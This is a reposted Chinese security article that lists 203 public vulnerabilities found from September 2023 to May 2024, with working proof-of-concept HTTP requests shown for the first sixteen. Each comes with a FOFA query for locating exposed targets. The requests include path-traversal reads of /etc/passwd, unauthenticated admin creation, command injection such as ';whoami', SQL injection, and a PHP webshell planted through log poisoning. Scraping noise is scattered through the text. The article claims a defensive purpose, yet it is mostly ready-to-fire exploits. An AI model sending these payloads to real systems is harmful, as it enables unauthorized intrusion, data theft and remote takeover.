互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
7 f, t' y' v6 h4 U; m道一安全 2024-06-05 07:41 北京
0 o3 j1 A% U$ o2 t! {8 Q1 C& m以下文章来源于网络安全新视界 ，作者网络安全新视界

5 W& h! x( q9 I* K发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。

漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
+ H) t5 u' M) w1 R  J- W
1 K1 e1 x9 L* a6 B3 w安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。
& b7 v! y: O; `. x( [( B; ?
; \& y; C# b) f$ K7 S文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。

合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。
+ K4 t$ `" U8 c. m- C$ ~4 f

6 n' \* M. B/ \; ^声明
; {% a9 u8 O5 J* @4 p
+ F* _8 F# n  L为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

; X( P6 T: z% d# s: q有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。


' _1 Q6 h! l3 h; @* y
1 B- V' D( P$ }6 w# d目录
2 J9 U5 {# G, W9 h3 p
01
  U& B8 l* C8 B
1. StarRocks MPP数据库未授权访问
2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
1 b, Y1 L" \, o  A. w1 F5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
* @" L- h' Y4 e+ _; G) r7. 鸿运主动安全监控云平台任意文件下载
  s& L9 K# U! q; i& |  v8. 斐讯 Phicomm 路由器RCE
/ d7 r3 j) F3 G1 i& c9 I+ ?9. 稻壳CMS keyword 未授权SQL注入
' l& |9 E3 q) K3 {" m10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
# ?! h2 y3 }: |11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
( \0 z& p" J9 S% p" q' S. T2 Q, r12. Jorani < 1.0.2 远程命令执行
% k+ O  |$ q- \. S# w13. 红帆iOffice ioFileDown任意文件读取
- P# V3 M4 V* d, F* A14. 华夏ERP（jshERP）敏感信息泄露
( p5 [; `# N* ^. N; |- ^15. 华夏ERP getAllList信息泄露
16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
# v; W$ n/ H- A$ A6 V22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
6 s7 [) J; }3 z24. 用友NC 6.5 accept.jsp任意文件上传
* ]& D/ f% k1 q6 z% `25. 用友NC registerServlet JNDI 远程代码执行
! P+ c% T9 K' i- w  S* j5 g26. 用友NC linkVoucher SQL注入
2 H2 n* X2 g/ _; Z3 o27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
$ c3 E; J/ W8 F6 {* w1 H29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
5 ^7 e" k9 E9 |. O8 b& w; e31. 用友NC runStateServlet SQL注入
32. 用友NC complainbilldetail SQL注入
/ _; w; v" |& b# ^3 E& d2 c# _2 Y, j33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
) i' C+ s1 L: C. r/ G36. 用友NC-Cloud soapFormat XXE
  N% b0 D1 c* A8 X9 h37. 用友NC-Cloud IUpdateService XXE
% J" m/ n. B* }) ?  l38. 用友U8 Cloud smartweb2.RPC.d XXE
39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
* i' L. v- m, k4 g! U. D41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
5 d' b" l. F) Y; a' Z" R; {47. 用友GRP A++Cloud 政府财务云 任意文件读取
48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
  i; }; L2 I: J5 l8 a50. QDocs Smart School 6.4.1 filterRecords SQL注入
: r8 Q) Q) |$ R1 b2 k/ Q" ]" B( n51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
  G, E5 a6 }1 v. R52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
! S% K5 P0 ~# g: x2 @* k57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
0 W/ {; R" e3 s) A/ `61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
; ]9 R% ^) a" D# o( Z. L0 |! @62. IP-guard WebServer 远程命令执行
4 a+ x1 @+ [! D1 W, b63. IP-guard WebServer任意文件读取
# o7 K% R! K0 I$ ?9 t9 K64. 捷诚管理信息系统CWSFinanceCommon SQL注入
& O9 c  T! f7 U. R0 ^1 [65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
! i! ?2 i5 u/ w) M66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
5 ]2 l5 Y9 s- v( i67. 万户ezOFFICE wpsservlet任意文件上传
' l) g" G" ~7 Q8 ?* c68. 万户ezOFFICE wf_printnum.jsp SQL注入
# s% l0 F+ p! m, `+ i9 e69. 万户 ezOFFICE contract_gd.jsp SQL注入
, [/ \- H+ }0 |* O70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
# G! ?% w) G3 n7 [' y, {, M4 X; D76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
' Z- A# r( i' |# `& U78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
) A' _" @. X4 E7 G$ ~' t& U79. BYTEVALUE 百为流控路由器远程命令执行
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
9 H, i. @/ v$ T3 m81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
; `6 A3 b: v& X" Q4 C5 L$ b" p84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
4 @; f, O$ d- N3 A: L/ u8 W85. SysAid On-premise< 23.3.36远程代码执行
' |( V$ o* ]+ T8 Q4 J' E7 V0 X86. 日本tosei自助洗衣机RCE
87. 安恒明御安全网关aaa_local_web_preview文件上传
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
! l2 Y) K/ S  h" z' ?# \89. 致远互联FE协作办公平台editflow_manager存在sql注入
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
3 s+ a6 u  E4 I* D6 p91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
' U& R( E! d) h93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
# F2 @% \  l5 C  e9 o5 G96. Apache OFBiz  18.12.11 groovy 远程代码执行
& }5 u, p; ^3 ^; w8 w97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
6 J% X/ E, H0 R* I98. SpiderFlow爬虫平台远程命令执行
/ j4 X1 R6 d% N; V99. Ncast盈可视高清智能录播系统busiFacade RCE
5 P0 t- g+ v  n8 y5 o' ^6 n2 x' N100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
103. Ivanti Pulse Connect Secure VPN XXE
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
6 H/ }$ ?2 m7 j105. SpringBlade v3.2.0 export-user SQL 注入
1 H4 ]) s6 c7 Y' X6 V106. SpringBlade dict-biz/list SQL 注入
- f& ~+ @' }; m107. SpringBlade tenant/list SQL 注入
! C* F. g$ F' a108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
6 m7 A( n/ @( m( D# U8 o& v1 X111. WordPress Plugin HTML5 Video Player SQL注入
112. WordPress Plugin NotificationX SQL 注入
4 S. p* X1 U2 S& h: }113. WordPress Automatic 插件任意文件下载和SSRF
114. WordPress MasterStudy LMS插件 SQL注入
115. WordPress Bricks Builder <= 1.9.6 RCE
: V( h& P( R/ j" T9 A116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
+ N0 D  J/ H/ V$ `+ n0 t118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
2 d- I! h) C5 y9 C  X1 |- |4 D0 i119. 北京百绰智能S20后台sysmanageajax.php sql注入
' j: @$ @4 d( H; m5 J120. 北京百绰智能S40管理平台导入web.php任意文件上传
; C& u* ~, V7 ?# s+ C- Z121. 北京百绰智能S42管理平台userattestation.php任意文件上传
122. 北京百绰智能s200管理平台/importexport.php sql注入
3 r$ W2 W8 Y  u! A" M# \* a7 K- o123. Atlassian Confluence 模板注入代码执行
9 h2 E% S/ {3 `" K$ _! z* f% L4 E124. 湖南建研工程质量检测系统任意文件上传
125. ConnectWise ScreenConnect身份验证绕过
2 x" e. w( ]& G+ A1 P* H! ]. d" p4 c126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
2 q- {4 ~6 q, G* X; W! _128. Adobe ColdFusion 反序列化
9 W8 i0 n* `5 Q3 K129. Adobe ColdFusion 任意文件读取
130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
0 y% {7 \  E' j5 V/ a. V' L134. 网康NS-ASG应用安全网关index.php sql注入
. v& \" U8 x* v135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
1 t. h5 |; S" H! S& N5 z8 h: V138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
' m$ Z$ S2 A" ^) A) X140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
  o! `! I* b0 C% }. k* H8 M142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
$ s, k1 @: B  k( B8 K1 n144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
4 g3 n( n5 Q4 ]% Q5 }( ^. S148. CrushFTP 认证绕过模板注入
4 @7 _+ c+ ]. U149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
1 ^) C9 B! Q5 W( Z/ x: T% a5 r152. Progress Kemp LoadMaster 远程命令执行
* y( n0 m5 s2 P+ G3 }153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
7 n1 y/ i. K& G( }' `, B4 q; M+ b$ B156. TBK DVR-4104/DVR-4216 操作系统命令注入
157. 美特CRM upload.jsp 任意文件上传
158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
160. Sonatype Nexus Repository 3目录遍历与文件读取
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
9 t% T* p! O& D- S3 R164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
165. OrangeHRM 3.3.3 SQL 注入
0 A0 k% _2 W6 j/ Y; `$ e1 l! H* r166. 中成科信票务管理平台SeatMapHandler SQL注入
3 Y1 o" [5 \" s1 Y167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
' e8 r8 K' n  w0 C( q. s3 e! ]169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
171. 通天星CMSV6车载定位监控平台 SQL注入
5 j; l9 B+ @7 c7 {. b172. DT-高清车牌识别摄像机任意文件读取
4 E) f+ f% x9 u2 n173. Check Point 安全网关任意文件读取
$ _* B& D. m. L+ w4 }( [174. 金和OA C6 FileDownLoad.aspx 任意文件读取
) U0 x1 S  e0 G  o: |' q; d175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
1 B. o( @5 S# o% Y176. 电信网关配置管理系统 rewrite.php 文件上传
& T! n/ D0 p# ]# q8 M2 y& d177. H3C路由器敏感信息泄露
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
: T: s2 ]% m: x179. 建文工程管理系统存在任意文件读取
180. 帮管客 CRM jiliyu SQL注入
$ b4 R6 U3 Z1 _181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
. i7 {$ D. Z  J9 V6 R184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
) h* a- o. k: Q185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
+ W1 b% R4 Y7 n* z! {! b188. 叁体-佳会视频会议 attachment 任意文件读取
: M# J% ?; @* x& A+ |% N3 b6 Y189. 蓝网科技临床浏览系统 deleteStudy SQL注入
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
; {0 n. p, M+ K* \1 C9 f# J* l191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
. X# K! h) L+ V7 m) q, F' ]/ ~6 ~192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
3 o1 w9 A( G; t! a1 Y193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
5 G5 E( O; V. d3 S195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
4 Y6 {" |/ V$ g. D0 a/ S196. 河南省风速科技统一认证平台密码重置
- V, w8 Z- q8 Y4 }' w- A$ ]6 I197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
: X  n+ L. @: V/ P, m199. cockpit系统assetsmanager_upload接口 文件上传
200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
202. 微擎系统 AccountEdit任意文件上传
203. 红海云EHR PtFjk 文件上传
. e+ h- b9 O! x5 m, K
1 T+ U7 `. D0 wPOC列表

: f" Q0 _! H2 C: L+ L02

1. StarRocks MPP数据库未授权访问
FOFA ：title="StarRocks"
GET /mem_tracker HTTP/1.1
3 u9 i: F; F0 |7 M- ^Host: URL
# f' j' |% _( B& \' J
3 K/ p$ W2 N9 V3 ^7 v" Q
! V) {. g" i- Y1 h! {' p2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
6 X3 l, F( t5 m9 _) V4 W6 nAccept: */*
" \. Q% N2 j( N' QAccept-Language: en
Accept-Encoding: gzip

( \2 i; Q: q# }
3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx


4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"
. F/ f% F, L3 }" }8 s+ m+ a! r
password更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
Host: your-ip
6 S1 t, V+ m6 Q5 S& MContent-Type: application/x-www-form-urlencoded; charset=UTF-8
$ Q% ~, j3 q- b
name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
, ?: `4 J8 u' h" s, ~  ~

3 R( H8 Y/ q  \+ Z8 H0 p5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
) O, v* g" _3 r1 t8 q7 }Host: xx.xx.xx.xx
/ n1 p7 S+ |7 {
. ^( A( D1 u! E5 k
1 o% Z' G# {$ y6. 深信服 NGAF 任意文件读取
FOFA：title="SANGFOR | NGAF"
# k4 E0 a3 A3 \, B& ^GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
: d' `/ d1 y* h1 s1 G1 MHost:
4 f( h+ ]! P9 t

7. 鸿运主动安全监控云平台任意文件下载
( L& x4 f* M" W7 zFOFA：body="./open/webApi.html"
& E2 c2 M4 X( {. V& s4 }6 t# q$ QGET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:

7 S2 ^! [8 w: P3 l; ]2 J
8. 斐讯 Phicomm 路由器RCE
4 t) h" r2 Z8 _7 s' t  CFOFA：icon_hash="-1344736688"
0 f  p: Z, p8 T2 s- I) v4 ~0 k默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
* N/ U- e7 }7 v7 e5 L8 MHost: x.x.x.x
0 X8 C  A* r4 V( a7 R9 bCookie: sysauth=第一步登录获取的cookie
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
* Q# k' X# `3 F# T  i+ E- \- sUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
$ Y3 s) b% R( L
------WebKitFormBoundaryxbgjoytz
! Y$ s  Q: I- K2 H% y* DContent-Disposition: form-data; name="wifiRebootEnablestatus"

/ T8 ^% I  @2 x% y. i%s
: I0 `" t; H: L: }* B" \- S------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"
! W4 q+ P+ L* l. H  L
12:00; id;
6 g" n# c0 Z* J1 i) W$ J------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootendrange"
; D" q6 T  V) m
" D% s- o' s6 X3 ]  r" P; r8 u$ R4 L' d%s:
( f6 l7 s" @! Q8 h3 w------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="cururl2"

  c3 U. p8 H' `
------WebKitFormBoundaryxbgjoytz--


6 z1 G2 f9 n7 K# j9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
+ j+ y* u% b! q0 u* Z3 gGET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
6 g9 {- J' o5 q! C& pHost: x.x.x.x

$ }. I: a* r2 O5 X& B5 D1 p
payload为下列语句的二次Url编码

' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
: f+ U3 E2 a* L: hFOFA：icon_hash="953405444"
9 ]7 M, T4 Q# s' p0 d
* I$ l* A# F, C9 {, I8 J文件上传后响应中包含上传文件的路径
7 D. h5 b& _6 t/ @POST /eis/service/api.aspx?action=saveImg HTTP/1.1
% p/ @7 R- h, l6 a% R) x' J0 }3 {Host: x.x.x.x:xx
. e% Y+ V$ y8 L+ ?* u6 iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Length: 197
0 J2 `. `$ f0 Z6 yAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
; T0 D9 @% _3 K/ t8 j* |% d3 O
------WebKitFormBoundaryxdgaqmqu
( ~1 X8 s7 q3 |" M7 Z) nContent-Disposition: form-data; name="file"filename="icfitnya.txt"
& I" A/ O  E0 x1 E3 M- Z' ^% EContent-Type: text/html

jmnqjfdsupxgfidopeixbgsxbf
* ?5 Q" M" O1 C; Y; R1 H! \------WebKitFormBoundaryxdgaqmqu--


8 g  d8 I! Y/ `: X. _: y11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
, O, L4 S2 ]) k& w5 z8 iFOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
7 P9 C/ S5 ^3 L8 q4 o/ r4 OGET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
* B. I4 D# {3 }5 S, R% [Host: 127.0.0.1
( T; K5 c# e) ]Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
0 H# u8 i. j6 F1 S5 B& d8 k8 SAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
6 n4 G, j# p, H/ ^Connection: close

' S8 J* e) Y$ ?, C8 Z' m0 k+ E! ^6 k
12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
6 N5 ]  I8 [$ c第一步先拿到cookie
3 J. J& X; ~- J8 @$ ~& aGET /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
3 m7 ?: k# C0 nAccept-Encoding: gzip

5 M" r4 L+ n6 l0 H4 U
; U2 e8 y( v& H8 Y; S7 h$ |* A响应中csrf_cookie_jorani用于后续请求
' k% D/ ~3 ?" k, t; T$ @, pHTTP/1.1 200 OK
Connection: close
Cache-Control: no-store, no-cache, must-revalidate
/ }; R! ?  P5 _. @2 M6 N$ y( MContent-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
, ^5 ^+ v1 N. a* V, YLast-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
! m5 x9 @( u: Q8 ~6 YServer: Apache/2.4.54 (Debian)
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding
3 h/ C- n0 h! W+ R' R9 w6 Z( W5 g: t

( X7 |$ W/ k* _" x& Z! f( b; P, TPOST请求，执行函数并进行base64编码
POST /session/login HTTP/1.1
Host: 192.168.190.30
8 }0 R2 J1 u# Y+ ?4 `0 AUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
. j/ A8 g' y. s& D* t( gConnection: close
Content-Length: 252
" |$ f1 Q( X4 ^1 ^* n/ v. i7 zContent-Type: application/x-www-form-urlencoded
; I+ F0 j; o) c( ]1 D# tCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
' q9 \, S' ^" L+ o3 H% {! ^" JAccept-Encoding: gzip

7 T/ g: W6 X7 u( K8 Z8 icsrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor
' m+ S  h' Z. [* D


, W" @3 L: W& Z+ W' K5 o& D4 E/ D向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
9 t1 P! Q! Z: q2 D4 @Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
5 H( A$ l" N- q" \. e( H' dAccept-Encoding: gzip

* l$ ]0 m! H0 Y9 s+ _
13. 红帆iOffice ioFileDown任意文件读取
FOFA：app="红帆-ioffice"
' b: V8 m. T. g9 B) a5 Z! V7 m! ?GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
6 y& }* U: H) f' S1 ^; DConnection: close
Accept: */*
0 ^$ W9 r/ S/ e. o; J$ R9 hAccept-Encoding: gzip


3 M, E& g% [1 H14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
  Z8 _5 r  I8 u! O  }( G5 |User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
% g# w5 ?) h- W5 d& E7 k8 j  VConnection: close
Accept: */*
2 D$ A! p/ F* UAccept-Language: en
Accept-Encoding: gzip
* p. r2 u2 m3 f. H$ P6 C

5 m* T9 y9 `8 n  Y/ [; s15. 华夏ERP getAllList信息泄露
CVE-2024-0490
+ @6 S+ A  Q8 ], Q/ w9 ZFOFA：body="jshERP-boot"
  {7 P! V2 h9 K泄露内容包括用户名密码
GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
  I, c2 m/ |4 X0 q$ |5 X. gHost: 192.168.40.130:100
- L( D- j1 n0 m5 K! n" I- f( ZUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
3 [5 L8 y0 O; V/ z: cAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Language: en
sec-ch-ua-platform: Windows
8 t* A# A* g' d8 W! tAccept-Encoding: gzip
. k$ j% v7 ~) J/ G# Q

4 F  w! D! d3 |16.  红帆HFOffice医微云SQL注入
FOFA：title="HFOffice"
poc中调用函数计算1234的md5值
( ]# \0 a' [' ?! O! C* fGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
& a: ^9 |. ~. vHost: x.x.x.x
